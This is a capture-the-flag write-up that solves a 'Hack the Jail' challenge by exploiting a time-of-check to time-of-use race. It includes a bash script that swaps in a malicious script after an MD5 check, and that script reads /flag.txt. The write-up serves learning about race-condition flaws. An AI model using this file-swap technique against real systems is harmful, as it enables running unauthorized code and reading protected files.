44 lines
1.0 KiB
Markdown
44 lines
1.0 KiB
Markdown
# Hack the Jail - Part 2
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## Difficulty
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Hard.
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## How To solve
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The key insight of this challenge is that the file is opened twice: once for checking whether
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the MD5sum matches the expected value, and the second time for actually executing the file.
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This type of vulnerabity is called a "Time-of-check to time-of-use" or in short a TOCTTOU attack.
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The challenge contains an artificially long timeout to be able to exploit this vulnerabity more easily.
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The script below performs the actual attack:
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```bash
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#!/bin/bash
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# run the vulnerable program in the backgrouncd
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./execute &
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# make sure that the check has been performed
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sleep 1
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# then replace the program with our malicious program
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mv hello_world.sh hello_world.sh.old
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cp read.sh hello_world.sh
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# wait until the "execute" program has finished.
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sleep 8
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# clean up
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rm hello_world.sh
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mv hello_world.sh.old hello_world.sh
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```
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The contents of the `read.sh` file are as follows:
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```
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#!/bin/bash
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cat /flag.txt
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```
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Both files need to have executable permissions which can be obtained using `chmod +x *.sh`.
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